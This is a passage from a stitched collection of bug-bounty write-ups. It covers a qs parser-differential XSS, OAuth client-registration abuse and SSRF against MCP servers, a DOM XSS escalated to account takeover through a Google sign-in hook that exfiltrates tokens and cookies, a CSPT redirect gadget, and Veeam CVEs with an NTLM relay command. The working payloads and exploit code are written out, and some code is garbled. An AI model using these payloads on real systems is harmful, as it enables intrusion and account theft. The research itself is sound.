When qs.parse(str, options) is called, it first normalizes the options. A function called normalizeParseOptions merges whatever you passed in with the defaults, validates everything, and prepares for parsing. Nothing exciting here; just setup work.
Step 2: Split the String into Key/Value Pairs
The parser takes the raw query string and splits it by the delimiter (which is & by default).
var parts = cleanStr.split(options.delimiter, options.parameterLimit);

So a query string like:
name=alice&age=30&city=tokyo

Gets split into three parts:
["name=alice", "age=30", "city=tokyo"]

Still straightforward. But here's the first important detail: qs only processes up to parameterLimit parts. The default limit is 1000. If your query string has 1500 parameters separated by &, qs will only look at the first 1000 and silently ignore the rest.
Step 3: Finding the = Separator, Critical for Solution 1
For each part, the parser needs to figure out where the key ends and the value begins. You'd think this is simple; just find the first = sign. Everything before it is the key, everything after it is the value.
That's how URLSearchParams works. Simple, predictable, no surprises.
But qs was designed to handle complex bracket notation like user[name]=alice or items[0]=apple. Because of this, it has a special rule for finding the = separator. Here are the lines of code that make our first exploit possible:
for (i = 0; i < parts.length; ++i) {
    part = parts[i];

    var bracketEqualsPos = part.indexOf(']=');
    var pos = bracketEqualsPos === -1
        ? part.indexOf('=')       // Normal: use the first '='
        : bracketEqualsPos + 1;   // Bracket: use the '=' AFTER ']'

    var key, val;
    if (pos === -1) {
        key = options.decoder(part, defaults.decoder, charset, 'key');
        val = options.strictNullHandling ? null : '';
    } else {
        key = options.decoder(part.slice(0, pos), defaults.decoder, charset, 'key');
        val = options.decoder(part.slice(pos + 1), defaults.decoder, charset, 'value');
    }

    // ...store the key/value pair...
}

In plain English:

First, qs searches for the sequence ]= anywhere in the string

If ]= is not found, it falls back to normal behavior; split at the first =

If ]= is found, it uses the = that comes right after the ] as the split point


But here's the thing, the code doesn't check whether ]= is in a reasonable position. It just searches the entire string. If ]= appears somewhere in what a human would consider the value, qs doesn't care. It still uses that = as the split point. The ]= has more priority than = sign, always.
Steps 4 and 5: Nesting and Merging, Critical for Solution 2
After splitting each part into a key and value, qs processes the keys further.
var parseKeys = function parseQueryStringKeys(givenKey, val, options, valuesParsed) {
    if (!givenKey) {
        return;
    }

    var keys = splitKeyIntoSegments(givenKey, options);

    if (!keys) {
        return;
    }

    return parseObject(keys, val, options, valuesParsed);
};

If a key contains bracket notation, qs decomposes it into segments. Here's the behavior:
Key: "[redirect_uri]"  →  Segments: ["[redirect_uri]"]
Key: "a[b][c]"         →  Segments: ["a", "[b]", "[c]"]

Build nested objects (inside-out): The function parseObject takes the chain and builds the object from the inside out, starting with the innermost segment:
chain = ["a", "[b]", "[c]"], value = "1"

Step 1 (i=2): key = "c"   →  { c: "1" }
Step 2 (i=1): key = "b"   →  { b: { c: "1" } }
Step 3 (i=0): key = "a"   →  { a: { b: { c: "1" } } }

---

chain = ["[redirect_uri]"], value = "https://pwnbox.xyz/docs"

Step 1 (i=0): key = "redirect_uri"   →  { redirect_uri: "https://pwnbox.xyz/docs" }

Notice the second example. [redirect_uri] with brackets gets treated as a property called redirect_uri. The brackets are stripped. So in the final req.query object, [redirect_uri]=value and redirect_uri=value both end up setting req.query.redirect_uri.
But URLSearchParams? It doesn't know about bracket notation at all. To URLSearchParams, the key [redirect_uri] is literally the string [redirect_uri]; brackets included. It's a completely different key from redirect_uri.
There's our second parser differential :)
Step 6: Merge and Compact
Each key/value pair produces its own small nested object. These get deep-merged together using utils.merge(), and sparse arrays get cleaned up by utils.compact():
var tempObj = typeof str === 'string' ? parseValues(str, options) : str;
var obj = options.plainObjects ? Object.create(null) : {};

var keys = Object.keys(tempObj);
for (var i = 0; i < keys.length; ++i) {
    var key = keys[i];
    var newObj = parseKeys(key, tempObj[key], options);
    obj = utils.merge(obj, newObj, options);
}

return utils.compact(obj);

// For example: { a: { b: "1" } }  +  { c: "2" }  →  merge()  →  { a: { b: "1" }, c: "2" }

One important behavior during merging is if two parameters have the same key, qs combines them into an array. So redirect_uri=foo&redirect_uri=bar produces { redirect_uri: ["foo", "bar"] }.
Understanding the Browser's Parser
Before we build our exploits, let's quickly cover how URLSearchParams works. It's refreshingly simple compared to qs:

Strip the leading ? if present

Split the string on &

For each part, split at the first =; everything before it is the key, everything after it is the value

No bracket notation. No nesting. No depth limits. No parameter limits. [foo] is literally the key [foo]

When .get(key) is called with a key that appears multiple times, it returns the first match


That's it. No special rules. No ]= priority. No bracket stripping. What you see is what you get.
Now we have all the pieces. Let's build some exploits.
Solution 1: The ]= Priority Trick
Let's go back to that ]= rule we found in qs. Remember, if qs sees ]= anywhere in a string, it uses that = to split key from value, not the first one. What if we use this against it?
Here's the idea. What if we put ]= somewhere inside a value that also starts with redirect_uri=? The browser would split at the first = and think the key is redirect_uri. But qs would skip that first =, find our ]= later in the string, and split there instead. Same string. Two different split points. Two different keys.
Let's try it. Here's the payload:
/?redirect_uri=javascript:alert(origin)//?x]=x&redirect_uri=https://pwnbox.xyz/docs

We have two parameters. Let's see what each parser does with them, starting with the backend.
What qs sees?
qs splits on & and picks up the first part: redirect_uri=javascript:alert(origin)//?x]=x.
Now it needs to find the = that separates the key from the value. So it searches for ]= first. And it finds one; the x]=x at the end.

qs decides the real = is the one after ]

That means everything to the left (redirect_uri=javascript:alert(origin)//?x]) becomes the key

And x becomes the value


Wait, what? The whole thing became a key? Yes. One giant, weird, meaningless key. And importantly: this has nothing to do with redirect_uri anymore. It's just some random property name in req.query that nobody will ever reference.
Then qs moves to the second part: redirect_uri=https://pwnbox.xyz/docs. No ]= in here, so it uses the first = like normal.

Key = redirect_uri

Value = https://pwnbox.xyz/docs


So after all that, req.query.redirect_uri is "https://pwnbox.xyz/docs". The backend runs its !== check, everything matches, validation passes. The server is happy. It sends the page back to the browser.
What the browser sees?
Now the browser runs the inline 


The  closes the existing script tag, and then my payload executes.
Missing or Confusing Consent Screen, OAuth Misuse
The consent screen we mentioned earlier? Some authorization servers just skip it entirely or don't mention the client information.
During my research, I found a lot of authorization servers that don't show any consent screen at all. Here's what happens:

User clicks a authorize link

They authenticate with their credentials

The server immediately redirects them to the redirect_uri, no questions asked


See the issue? The user never gets a chance to see which application is requesting access. They just log in and their authorization code gets sent straight to wherever we specified.
If an attacker registers a malicious client with their own redirect_uri, they can trick users into giving up account access with just one click. The victim thinks they're logging into something legitimate, but their auth code ends up in the attacker's hands.
Even when consent screens do exist, some of them are so vague or confusing that users have no idea what they're actually approving. If the screen doesn't clearly show which client is requesting access, it's almost as bad as having no screen at all.
(If you want to dive deeper into this type of attack, this blog post covers it really well!)
Other Attack Vectors Worth Trying
Like I mentioned earlier, open DCR in authorization servers is a well-known attack surface. Security researchers have been poking at this stuff for years, and there's a ton of great content out there if you want to go deeper.
Here are some other attack types you might want to try on your targets:

CSRF on the consent page – Can you trick users into approving authorization requests without realizing it?

SSRF via the logo_uri field – When you register a client, you can specify a logo URL. What if the server fetches that image from an internal network?

Session poisoning to steal authorization codes – Messing with session handling to hijack code from legitimate client


Unfortunately, I didn't have any luck finding these vulnerabilities on the authorization servers I tested. But hey that doesn't mean they're not out there! So go ahead, read up on these techniques, and try them on your targets. You might have better luck than me ;)
Going Beyond Authentication Attacks
So far, we've focused on hijacking tokens and stealing user sessions. But open DCR in MCP servers opens up another interesting avenue worth exploring.
Direct Access to the MCP Server
If we can register our own OAuth client, we can complete the full authentication flow ourselves:

Register a client with our redirect_uri

Get the authorization code

Exchange that code for an access token

Connect directly to the MCP server as a legitimate client


So why does this matter?
MCP Servers Weren't Built to Handle Attackers
MCP servers are designed to interact with AI assistants, not humans probing them manually. Developers often assume that AI clients will behave predictably and follow the intended usage patterns.
For example, look at this tool from an MCP server that imports projects from a URL. Notice how it instructs the AI not to use local links:

These instructions work fine for AI assistants that follow rules. But as direct users of the MCP server, we're not bound by these guidelines. We can call any tool and provide whatever input we choose, including inputs the developers never anticipated.
Even when token hijacking fails due to the server restricting redirect URIs to specific domains, this technique remains useful. During my research, I found an authorization server for an MCP integration that only allowed chatgpt.com as a redirect URI. I couldn't register my own redirect_uri. However, I could still register a client with the allowed chatgpt.com URI, initiate the auth flow, capture the authorization code from the redirect, and exchange it for an access token myself.
The result? Direct access to the MCP server which is designed only for ChatGPT. From there, I could interact with all the available tools and methods without any AI-imposed restrictions.
Connect To A MCP Server
Once authentication is complete and you're redirected back to the client, you'll have an authorization code. The next step is exchanging that code for an access token.
Step 1: Exchange the Code for an Access Token
Send the following request to the token endpoint, filling in your registered client details:
POST /oauth/token HTTP/2
Host: mcp.company.tld
Content-Type: application/x-www-form-urlencoded
Content-Length: 296

grant_type=authorization_code
&code=<code>
&redirect_uri=<redirect_uri>
&client_id=<client_id>
&code_verifier=random
&client_secret=<client_secret>

A few notes on these parameters:

code: The authorization code you received in the redirect

code_verifier: The original random string you generated before creating the code_challenge (this is part of PKCE)

client_secret: Include this only if you received one during client registration, some servers don't require it

redirect_uri: The client redirect_uri


If everything is correct, you'll receive an access token in the response.

Step 2: Install MCP Inspector
Now that you have an access token, you can connect to the MCP server using a tool called MCP Inspector. This tool provides a user-friendly interface for interacting with MCP servers directly.
Install and run it with the following command:
npx -y @modelcontextprotocol/inspector npx @playwright/mcp@latest

This will start a local web interface, typically available at http://localhost:6274
Step 3: Configure the Connection
In the MCP Inspector panel, you'll need to configure the following settings:

MCP Server URL: Enter the full URL of the MCP endpoint. Common paths include:

/mcp – for Streamable HTTP transport

/sse – for Server-Sent Events transport



Transport Type: Select the appropriate transport based on the endpoint:

Choose Streamable HTTP if the endpoint uses /mcp

Choose SSE if the endpoint uses /sse



Authentication: MCP servers typically use Bearer token authentication. In the authentication header field, enter:
 Bearer 


Click Connect to establish the connection.


Step 4: Explore the Tools
Once connected, navigate to Tools → List Tools to see all available tools and their expected inputs. You can browse through them and test each one directly.

Discovering a Full-Read SSRF Vulnerability
So there I was, poking around an MCP server and loading up its tools, when one particular tool caught my eye. This little guy takes a document URL, fetches it, converts the response to Markdown, and hands it back to you. Neat, right? Naturally, my first thought was: “Can I make it fetch my site?” Classic SSRF vibes.
First Attempt: The Easy Way
I tried pointing it at my own domain to see what would happen. No luck, it spat back this error:

Okay, fair enough. The server was being picky about which URLs it would accept.
Finding the Rules
Next, I tried a legitimate document URL from the target website, something like:
https://company.tld/documents/{document-id}

This worked! So I started figuring out the rules. Turns out, the server had a strict whitelist that only allowed URLs matching https://company.tld/documents/.*. I tried a bunch of tricks to bypass the domain check, but nothing worked. This thing was locked down tight.
The Path Normalization Trick
At this point, the only thing on my mind was: "I need to find an open redirect somewhere on this website." If I could find one, I could chain it with the SSRF to redirect requests to any host I wanted.
But here's the problem, I was stuck inside the /documents path. Finding an open redirect in the documentation section is so hard or even impossible. So What if I could escape the /documents folder first?
I tested whether the server handles path normalization differently than it validates URLs. I crafted this payload:
https://company.tld/documents/..%2Fdocuments%2F{document-id}%23

And it worked! The server loaded the same content as before. This confirmed I could use ../ to climb out of the /documents folder and access other parts of the website. Now the whole site was my playground, and finding an open redirect became way easier.
Dynamic Client Registration: My Secret Weapon
Here's where things get fun. I needed an open redirect, and OAuth's dynamic client registration feature gave me exactly that.
According to RFC 6749 (Section 4.1.2.1), when an OAuth request fails, the authorization server redirects the user back to the client's redirect_uri with an error message. Something like:
HTTP/1.1 302 Found
Location: https://client.example.com/cb?error=access_denied&state=xyz

The key insight? I could register a new OAuth client with any redirect_uri I wanted, including my own server. Then, by triggering an error, I'd get a open redirect!


Putting It All Together
Now I had all the pieces. I combined the path normalization bypass with my open redirect gadget to create this payload:
https://company.tld/documents/..%2Fredacted%2Fauthorize%3Fresponse_type=code%26client_id=%26redirect_uri=https%253A%252F%252Fpwnbox.xyz%252Fmcp%252F%23

This made the server:

Accept the URL (because it starts with the whitelisted path)

Normalize the path and hit the OAuth endpoint

Follow the redirect to my server



Full SSRF achieved! After that I redirect server to the localhost and did some port scanning and discovered an application running on port 8080. Even better, it had a Swagger API endpoint, and I could read all the client data through it!

Conclusion
MCP servers sit at a critical point between AI and the real world. They handle authentication, manage permissions, and give AI assistants the power to take real actions. That responsibility comes with risk.
Open Dynamic Client Registration was designed for flexibility, but as we've seen, it opens the door to XSS, token theft, SSRF, and direct access to tools that were never meant for manual interaction. The vulnerabilities are there – waiting to be found.
If you're building these integrations, think carefully about who can register as a client and what they can access. And if you're a security researcher, MCP servers are fresh ground worth exploring. Start shaking those trees.
Happy hacking!



DOM XSS to Account Takeover: Not-So-Dirty Dancing in GIS SDK
HamidSj — Sun, 07 Dec 2025 17:28:09 GMT
It was just another bug hunting session on a public program. The scope wasn't huge - only a couple of domains to work with - but that's often where you find the best bugs. I had been grinding on this program for about 8 hours total, with roughly 6 of those hours focused on one specific domain that caught my attention.
While reading through the login page's JavaScript code, I noticed a query parameter called rUrl being used in a location.href assignment sink. I started testing it with a legitimate URL https://target.com/blahblah and worked my way up, making minimal changes each time. Custom schemes, different hosts, modified pathnames - everything seemed to work. Pretty straightforward, right?
Well, not quite. As soon as I tried using javascript: as the URL scheme, I hit a wall. There was a custom WAF blocking it - not your typical Cloudflare or Akamai setup, but something the target had built themselves. I threw every bypass payload I knew at it, but this WAF wasn't budging. Just when I was getting frustrated and about to reach out to some friends for help, something caught my eye. A couple of lines before the sink, there was a replace function stripping out /<>'"\./ from the rUrl parameter.


I immediately tried: https://target.com/login?rUrl=ja.va.sc.ri.pt.:al.er.t(or.ig.in)//blahblah.com
And just like that - DOM XSS! 🔥
This vulnerability highlights a critical security principle: security should be provided from one consistent point, not as a conjunction of different mechanisms. When you layer multiple security controls without coordination, you create inconsistencies that attackers can exploit. In this case, the target had a "Match Then Replace" pattern - the WAF was matching and blocking javascript: schemes, while a separate replace function was stripping out dots and other special characters. Neither mechanism alone was vulnerable, but their combination created the bypass opportunity. This kind of fragmented security approach is exactly what leads to exploitable edge cases.
Can We Even Get Account Takeover?
Now that I had XSS, it was time to escalate this to a full account takeover. But the target's security was pretty tight - every sensitive action required submitting a 2FA code sent to your email.
I tried everything: changing email, setting password, deleting account, freezing account, adding 2FA - they all needed 2FA verification. Even logging in from a different browser triggered an email 2FA prompt.
Now, you might be thinking: "Why not just steal the session_id cookie directly?" Good question. The target had properly configured their authentication cookie with HttpOnly and SameSite=Lax flags, making it impossible to exfiltrate via XSS and protected against CSRF attacks. Direct session hijacking was off the table.
But here's where it gets interesting. While I couldn't steal the session cookie, I noticed that logging in from a different browser always triggered a 2FA email prompt. This made me curious - how was the site detecting my browser?
My first thought was User-Agent, but that wasn't it. I started checking all the pre-login headers and cookies one by one. It was tedious work, but eventually I found it - a cookie named dd that was used for browser detection. The good news? Unlike session_id, this cookie wasn't HttpOnly, so I could easily exfiltrate it with my DOM XSS.
The attack plan became clear: if I could steal the dd cookie and obtain a fresh session via OAuth, I could bypass the 2FA check entirely since the target would recognize it as the "same browser." At this point, I was thinking about using "dirty dancing" OAuth flow techniques to steal the Google authorization code and complete the account takeover.
The target's login flow used Google's Identity Services SDK (GIS) for OAuth2 implementation. I tried using other redirect modes like absolute URLs, postmessagerelay, and storagerelay, but they all failed with an invalid_redirect_uri error on the Google OAuth page. So I had to find a way to make dirty dancing work within the GIS OAuth flow.
How Does the GIS SDK Actually Work?


Before we dive into the exploitation, let's quickly understand how this SDK works:
Google's Identity Services (GIS) SDK implements a unique OAuth 2.0 flow that's quite different from traditional OAuth implementations. The key difference is that GIS handles the entire authentication flow internally without exposing redirect URIs to the client application.
SDK Loading and Initialization
The GIS SDK is loaded into the application through a script tag that pulls Google's JavaScript library:


This loads the global google object on the window (specifically window.google.accounts.id), which exposes the GIS API methods. The application then initializes the SDK with various configuration parameters:
google.accounts.id.initialize({
  // Always Required Arguments:
  client_id: 'YOUR_GOOGLE_CLIENT_ID',          // Required: Your Google OAuth client ID
  // Required if ux_mode='popup'
  callback: handleCredentialResponse,          // Function to handle the JWT response
  // Required if ux_mode='redirect'
  login_uri: 'https://target.com/login',       // Redirect endpoint for redirect mode
  
  // Optional Arguments
  auto_select: false,                          // Automatically sign in if user has one Google session
  cancel_on_tap_outside: true,                 // Close One Tap prompt when clicking outside
  context: 'signin',                           // Context hint for One Tap UI ('signin', 'signup', 'use')
  ux_mode: 'popup',                            // How to display the flow ('popup' or 'redirect')
  native_callback: nativeResponseHandler,      // Handler for native credential responses
  prompt_parent_id: 'oneTapDiv',               // DOM element ID for One Tap container
  nonce: 'random_nonce',                       // Nonce for ID token security
  state_cookie_domain: 'target.com',           // Domain for state cookie
  allowed_parent_origin: 'https://target.com', // Allowed origin for iframe mode
  intermediate_iframe_close_callback: onClose  // Callback when intermediate iframe closes
});

Triggering Authentication
GIS provides multiple methods to trigger authentication:
One Tap Prompt:
google.accounts.id.prompt();

Button Rendering:
google.accounts.id.renderButton(
  document.getElementById("buttonDiv"),
  styles
);

The GIS Authentication Flow

The Intermediate Redirect: When authentication is triggered, GIS doesn't use the application's redirect URI. Instead, it uses Google's own intermediate endpoint:
https://accounts.google.com/gsi/oauth?redirect_uri=gis_transform&...
The redirect_uri is always gis_transform - an internal Google-controlled endpoint.

The Transform Layer: After successful authentication, Google redirects to the gis/transform endpoint which:



Processes the authorization response

Generates a JWT credential token

Posts this token back to the parent window using postMessage or redirects back with the token



Token Delivery: The credential response is delivered to the application's callback function:

function handleCredentialResponse(response) {   
  // response.credential contains the JWT token with user info
  // response.select_by indicates how the credential was selected
  // response.client_id contains the Google client ID
  const jwt_token = response.credential; 
}

Why This Makes Attacks Harder
The GIS SDK architecture blocks several common attack vectors:

No client-controlled redirect_uri: Since GIS uses gis/transform as the redirect URI, we can't manipulate it

JWT tokens instead of authorization codes: The app receives signed JWT tokens that can be verified

Controlled communication channels: All data flows through Google's controlled endpoints

Script integrity: The SDK loads from Google's domain, preventing tampering


The Attack Surface
Despite these protections, there's still an attack surface at the application layer:
After GIS completes authentication and delivers the JWT token to the callback function, the application's JavaScript takes over. This is where things get interesting:

Window Object Access: The google object and callback functions live in the global window scope, so any XSS can access or override them

Configuration Manipulation: An XSS can reinitialize GIS with a malicious callback function to intercept credentials

Token Storage and Handling: The JWT token and session cookies (like our dd cookie) are accessible to JavaScript if not properly protected


Not-So-Dirty Dancing
Here's the scenario I had in mind:

[Attacker] sends the malicious link to the victim

[Victim] opens the link and tries to log into the app

After login, the DOM XSS gets triggered

The XSS exfiltrates the Google auth code and dd cookie

[Attacker] uses the stolen credentials to access the victim's account


The problem? It would be really weird to ask the victim to go through the login flow again after they just logged in. Not a very convincing social engineering scenario.
I needed to rethink this. The goal was to make the GIS OAuth flow completely automatic - no user interaction required - for a cleaner and more realistic attack.
Magical Parameters
I remembered Omid Rezaei's writeup OAuth Non-Happy Path to ATO where he used prompt=none and authuser=0 query parameters.
These parameters make Google OAuth flows completely silent - no prompts, and it automatically pre-selects the user's Google account.
But here's the catch: I wasn't the one opening the OAuth popup - the GIS SDK was handling that. But wait... we're still in the same browser window sandbox as the SDK script, right?
Exactly! We can hook the window.open function for the entire window. When the GIS SDK tries to open a window, we can intercept the URL and inject the parameters we need.
const originalOpen = window.open;

window.open = function (url, target, features) {
  try {
    // Only touch Google OAuth / Accounts URLs
    if (typeof url === "string" && url.includes("accounts.google.com")) {
      const parsedUrl = new URL(url);

      // Add or overwrite desired OAuth parameters
      parsedUrl.searchParams.set("prompt", "none");
      parsedUrl.searchParams.set("authuser", "0");

      url = parsedUrl.toString();
      console.log("[OAuth Hook] Modified URL:", url);
    }
  } catch (err) {
    console.warn("[OAuth Hook] URL modification failed:", err);
  }

  // Call the original window.open
  return originalOpen.call(window, url, target, features);
};

But there was still a problem: the popup only appeared when the user clicked the rendered button. That would require another user interaction, and I didn't want to risk lowering the severity score.
The Google One-Tap Parameter
I begun reading through the docs and I reached out the auto_select parameter in the google.accounts.id.initialize function. This was exactly what I needed:

auto_select: If enabled, the One Tap prompt will be automatically dismissed and the user will be signed in without any further interaction.

Final Account Takeover Exploit


With all the pieces in place, I just needed to run this exploit code via the DOM XSS on the victim's browser to steal the dd cookie and Google JWT:
const script = document.createElement('script');
script.src = 'https://accounts.google.com/gsi/client';
script.async = true;
script.defer = true;

// Wait for script to load, then initialize
script.onload = function() {
  try {
    // Initialize Google Sign-In with malicious callback
    google.accounts.id.initialize({
      client_id: clientId,
      callback: (response) => {
        // Extract JWT token
        const jwt = response.credential;

        // Extract cookies
        const cookies = document.cookie;

        // Exfiltrate stolen credentials
        exfiltrateData(jwt, cookies);

        resolve({ jwt, cookies, payload });
      },
      itp_support: false,
      use_fedcm_for_prompt: false,
      auto_select: true  // Automatically signs in user
    });

    // Trigger the sign-in prompt
    if (window.google && window.google.accounts.id.prompt) {
      window.google.accounts.id.prompt(m => {
        if (m.isNotDisplayed() || m.isSkippedMoment()) {
          console.log('Prompt not displayed or skipped');
        }
      });
    }
  } catch (error) {
    reject(error);
  }
};

script.onerror = function() {
  reject(new Error('Failed to load Google Sign-In script'));
};

// Append script to page
document.head.appendChild(script);


That's it! By chaining the DOM XSS with GIS SDK manipulation and the auto_select parameter, I was able to achieve a fully automated account takeover - no user interaction needed beyond the initial click on the malicious link.
Thanks for reading!
Feel free to reach out if you have any questions or want to discuss OAuth security research.
Catch you on the next one! 🎯



Cloudflare Image Proxy as a CSPT Gadget: A Cross-Origin CSPT Exploit
Amirmohammad Safari — Sun, 19 Oct 2025 15:50:40 GMT
The CSPT (Client-Side Path Traversal) vulnerability has recently attracted considerable attention from bug bounty hunters and security researchers because of its flexibility and the variety of real-world impacts it can enable. CSPT arises when user-controlled input is inserted directly into client-side request paths (for example in fetch, XMLHttpRequest, or any other browser-initiated request) without proper validation or sanitization. When that input can alter the request path, an attacker may be able to change the request path to sensitive endpoints, leading to attacks such as forced actions, or cross-site request forgery.
If you’re not familiar with CSPT or want to learn more, you can read more about it here:
CSPT Resources – Doyensec Blog
Why Cross-Origin CSPT Matters?
As mentioned, in CSPT the attacker’s input is placed into one of the request paths, which lets the attacker move between paths and change the request’s destination. But an important question arises: can CSPT change the request’s host or send the request to a different subdomain?
To answer that, first we must understand why sending a request to another origin helps. Imagine:

You found a CSPT on company.tld and can send a PUT request to that domain, but there are no sensitive endpoints on that domain. In that case the exploit has little real effect.

However, in the same organization there might be a more sensitive origin like api.company.tld that hosts sensitive endpoints (for example, change user data, manage tokens, ...). If you can change the host from company.tld to api.company.tld and send the request there, then the CSPT becomes useful and can have real impact.


Similarly, sometimes you find CSPT on low-value subdomains; in those cases your goal is to change the host so you jump from that subdomain to a more sensitive subdomain and carry out the attack.
Therefore, checking whether a CSPT can send requests to other origins is operationally critical, because only then can you turn an apparently harmless gadget into a real, impactful exploit.
How to Change the Origin: 307 / 308 Redirects
Browsers handle redirects in different ways. For our purpose, only 307 Temporary Redirect and 308 Permanent Redirect are useful, because they preserve the original HTTP method, body, and headers. When a browser sends a request and receives one of these redirects, it automatically follows it without changing the request. Other redirect types, such as 301 or 302, may instead change a POST request into a GET, which can break the intended behavior.
Important caveats:

Cookies and SameSite: If the destination relies on cookie-based authentication, cookies are forwarded according to their SameSite policies.

Authorization header: Browsers do not forward the Authorization header automatically during cross-origin redirects. If a target API authenticates exclusively via Authorization: Bearer ... headers, this redirect method will not work.

CORS: Even if you can get a redirected request to reach another origin, the destination must allow the request via CORS.



Practical Gadget - Cloudflare Image Transform
One gadget that demonstrates these mechanics is Cloudflare’s Image Transformation redirect behavior. The image transform endpoint can be abused to issue a 307 redirect to another subdomain, including custom path. That makes it an excellent way to hop between subdomains inside the same domain:
https://company.tld/cdn-cgi/image/onerror=redirect/https://subdomain.company.tld/


Exploitation Workflow (Cloudflare Gadget)


Identify the CSPT vulnerability. Find a client-side request that inserts attacker-controlled input into a request path, for example fetch(baseUrl + userInput) or code that builds a URL from user input and then requests it.

Target gadget. Cloudflare Image Transformation or any open-redirect vulnerability that can issue a 307/308 redirect.

Chain the redirect to the sink. Build a URL that, when the sink requests it, triggers the open-redirect gadget and returns a 307/308 pointing to your target host/subdomain

Exploit CSPT cross-origin. Because the redirect preserves method and body, the sink’s request will be forwarded to the chosen host, enabling cross-origin actions (CSRF, data exfiltration, etc.) depending on the target and the request details


Limitations and Realistic Impact
Not every CSPT finding leads to a high-impact exploit. With the approach described here might be open more ways yo you to exploit the CSPT with highest impact, but there are important limitations to keep in mind.

First, successful cross-origin requests usually depend on CORS being permissive for the target domain or subdomain, something that is common but not guaranteed.

Second, browsers do not forward Authorization headers when following 307/308 redirects, which can prevent some attack flows (This approach is mainly recommended for web applications vulnerable to CSPT that rely on cookie-based or custom-header authentication)


Also sometimes you can find 307 or 308 open redirects that make the browser forward headers to attacker controlled origin and hijack them. If you don’t have any of those, you can use gadgets like Cloudflare’s image transformation API to increase the chance of a good impact. It still depends on the target’s setup, but hopefully one the tricks work for you ;)



Hacking Veeam: Several CVEs and $30k Bounties
Voorivex — Sat, 09 Aug 2025 18:58:58 GMT
Hello, I’m a web guy. Usually, I’m not working on non-web applications since my mind doesn’t know binary and reverse engineering. About one year ago, I started giving myself a shot at working on some macOS applications, and I managed to uncover several RCEs, even without knowing much about applications. I just used my intuition and hacker mindset to penetrate the application. Maybe I will write another blog post about the RCEs in the future.
This post is about a program that I’ve been working on for a couple of months. I will go through the challenges I faced and the vulnerabilities I found, along with some bug bounty tips at the end. The list of vulnerabilities:

Authentication Bypass - $7500 (CVE-2024-29849)

Remote Code Execution - $7500 (CVE-2024-42024)

NTLM Relay to Account Takeover - $3000 (CVE-2024-29850)

Local Privilege Escalation - $3000 (CVE-2024-29853)

Broken Access Control & IDORs (CVE-2024-29852, etc)


Before starting, I should mention that I asked one of my friends to help me with some reverse engineering tasks.
Challenges
Veeam products are Windows-based, with .exe files, dll files, etc. There are also multiple components working together, like agents and local web-based platforms. Although you can test the product using a black-box approach, auditing the source code helps to have a better understanding of the platform’s structure. Most of the bugs were found through analyzing the source code.
The first step is to reverse the source code. Thanks to ILSpy .NET decompiler, with the code below in PowerShell, you can iterate through all the dll files and decompile the source code:
# Get all DLL files in the current directory
$dllFiles = Get-ChildItem -Filter *.dll

foreach ($dllFile in $dllFiles) {
    # Create a directory with the name filename_src
    $outputDirectory = Join-Path (Get-Location) ($dllFile.BaseName + "_src")
    New-Item -ItemType Directory -Force -Path $outputDirectory | Out-Null

    # Build the ilspycmd command
    $ilspycmdCommand = "ilspycmd $($dllFile.FullName) -p -o $outputDirectory"

    # Execute the ilspycmd command
    Invoke-Expression $ilspycmdCommand
}

With the source code in hand, I could start searching for spots to initiate testing. One way would be to look for routes and roles, as most of my reported broken access control bugs were found using this methodology.

Before checking the code, I started using the platforms and reading Veeam’s help documents to understand the existing roles, authentication options, and what Veeam products like Enterprise Manager (VEM) really does.

If you aren’t familiar with Veeam products, they basically offer efficient and reliable backup and recovery for virtual, physical, NAS, and cloud-native environments.
One challenge I faced during the initial testing was the need to install VMware ESXI, which required a large infrastructure with plenty of RAM and storage. VEM uses a PostgreSQL database, and one of the hack-ish methods I came up with was inserting dummy data directly into the platform’s database.

This trick helped me move forward with the available features without the hassle of setup.
Bugs
CVE-2024-29849 - Zero Interaction Administrator Account Takeover
There's a REST API channel to communicate with when installing the Veeam Enterprise Manager, located at: https://:9398
One of the endpoints responsible for logging in and setting an Auth cookie for the end user is POST https://:9398/api/sessionMngr/?v=latest The endpoint accepts XML data, which looks like this:


Base64EncodedData



The Base64EncodedData looks like this:

    https://127.0.0.1:8443/websso/SAML2/Metadata

        Administrator@lab.local



            Admin
            User
        



It contains a saml2:Issuer, which is the SAML listener, and a saml2:NameID, the account name with the domain you wish to sign in. Looking through the code, which I will show, I realized the IF condition fails and never validates the protection check. An attacker setting up a listener and sending a request to the vulnerable endpoint can retrieve the auth cookie associated with the victim's account, which could be Administrator, and log in to the platform successfully without any interactions needed.
Vulnerable Code
Calling the endpoint, the first function being triggered, is named LogInAfterAuthentication

There's a condition (loginSpec == null || loginSpec.VwareSSOToken == null). As explained earlier, by providing VMwareSSOToken, the condition is set to false, then it moves to the next section, which is:
else{
    crestSession = this.m_loginSessionsScope.LogInBySsoToken(loginSpec, versionNames);
}

The LogInBySsoToken code:

Calling AuthorizeByVMwareSsoToken goes to the next functions named FindValidsTSEndpointUrl and ValidateAuthToken.


Eventually, due to the failed condition check:
if (CAuthorizationManager VaidateStsUr](pluginInfo, out result))]
return result;


It goes to the end of code:
return new Uri(authServiceLocationStr.Contains("websso/SAML2/Metadata", StringComparison.OrdinalIgnoreCase) ? UriFormatter .FormatHttps (uri. Host, new int?(uri.Port),
"sts/STSService", null, true) : UriFormatter.Formathttps(uri.Host, new int?(uri.Port),
"ims /STSService", null,

And receive the set-cookie: X-RestSvcSessionId= linked to the account simply by providing username@domain

Please note whether the SSO is enabled or not the component is vulnerable.
CVE-2024-42024 - RCE on Veeam One Agent
There's a system called Veeam One Agent, which is installed for interaction and transmitting data between Veeam's product components, such as Veeam Backup & Replication sending data to the Veeam One server via the agent.
Furthermore, one of the functions responsible for handling data and specifically deserializing it is called CustomSerializationBinder:

The function has a protection based off a whitelist called SupportedAssemblies and if one of the following values is not given (malformed the request) it returns error:


I could bypass the protection with passing a valid assemblyName but different typeName:

This is the exploitation file. As you can see, a valid value like mscorlib is provided, but the other argument is controlled by the user and bypassed successfully:

CVE-2024-29850 - Account Takeover via NTLM Relay
The classic old NTLM relay, thanks to this blog post, inspired me to look for such a bug in Veeam products. There’s an endpoint in the VEM product that allows the clients use Windows AD users for authentication. Searching through files after the installation, I have noticed there's no extendedProtection enabled in webapp config file.

After setting up the configuration, an attacker can relay another user's NTLM session and capture the user's authenticated cookie. This allows the attacker impersonate the victim and access the Veeam Enterprise Manager platform as an Administrator. Here's an image to help illustrate what's happening behind the scenes:

In this example attack scenario, an attacker sets up a listener on the authentication endpoint, which is Security/Windows/Winlogin.aspx, and relays the machine that has an authentication cookie.
Thanks to impacket awesome tool, with the following command:

/usr/bin/impacket-ntlmrelayx -t http://VEEAMSRV1:9080/Security/Windows/Winlogin.aspx -smb2supportpython

